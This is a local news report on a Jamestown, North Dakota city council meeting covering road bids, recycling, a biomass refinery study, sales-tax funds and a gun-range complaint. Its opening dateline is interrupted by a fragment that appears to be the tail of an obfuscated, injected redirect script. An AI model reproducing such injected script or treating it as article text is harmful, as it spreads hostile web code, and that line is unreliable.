JAMESTOWN, karyh|var|u0026u|referrer|fiazf||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The Jamestown City Council met in regular session on Monday, May 2nd at the Jamestown City Hall.
Several resolutions were passed including the bid for 2016 Seal Coat, Patching, Construction & Reconstruction. The council also authorized the Jamestown Chamber of Commerce Beautification Committee to draft a request for proposal for a private contractor to provide curbside recycling services.
A resolution was requested to be removed from the consent agenda regarding the request from JSDC to provide $75,000 in development funds for the New Energy Spirit Biomass Refinery with the City Share to be $67,500. Resident Jennifer Cross spoke on behalf of a friend on the funds, saying that she was concerned with the project.
Cross stated that the funds could rather be used for road improvements or schools. Mayor Katie Andersen stated that these funds would just go towards a study to find the feasibility of having a Biomass Refinery in the Spiritwood Energy Park.
The motion was passed unanimously.
A resolution regarding the Joint Powers Agreement with the Jamestown Parks District relative to the 1% City Sales Tax for TRAC was presented to the board. During discussion, concern was brought forth regarding left over dollars after bonds are paid and terminated and if the intent was consistent with the ballot language approved by voters.
Jamestown Parks and Recreation Director Doug Hogan stated that any dollars left over would go towards Parks and Recreation for different uses.
City Administrator Jeff Fuchs stated that what Hogan had stated was not made clear in the ballot language and that any remaining funds would go to the city.
The council ultimately agreed to have any remaining funds from the bonds be given to the Jamestown Parks & Recreation with all members voting in approval.
Rob and Donna Lindberg came before the council during the audience hearing. The Lindberg’s brought forth concerns on a gun range that had been created roughly 150 feet from one of their buildings. She stated that this has caused some concern from a person who is currently leasing the property.
The council will look further into the issue at an upcoming committee meeting, pending review of potential violations of the Zoning Ordinance.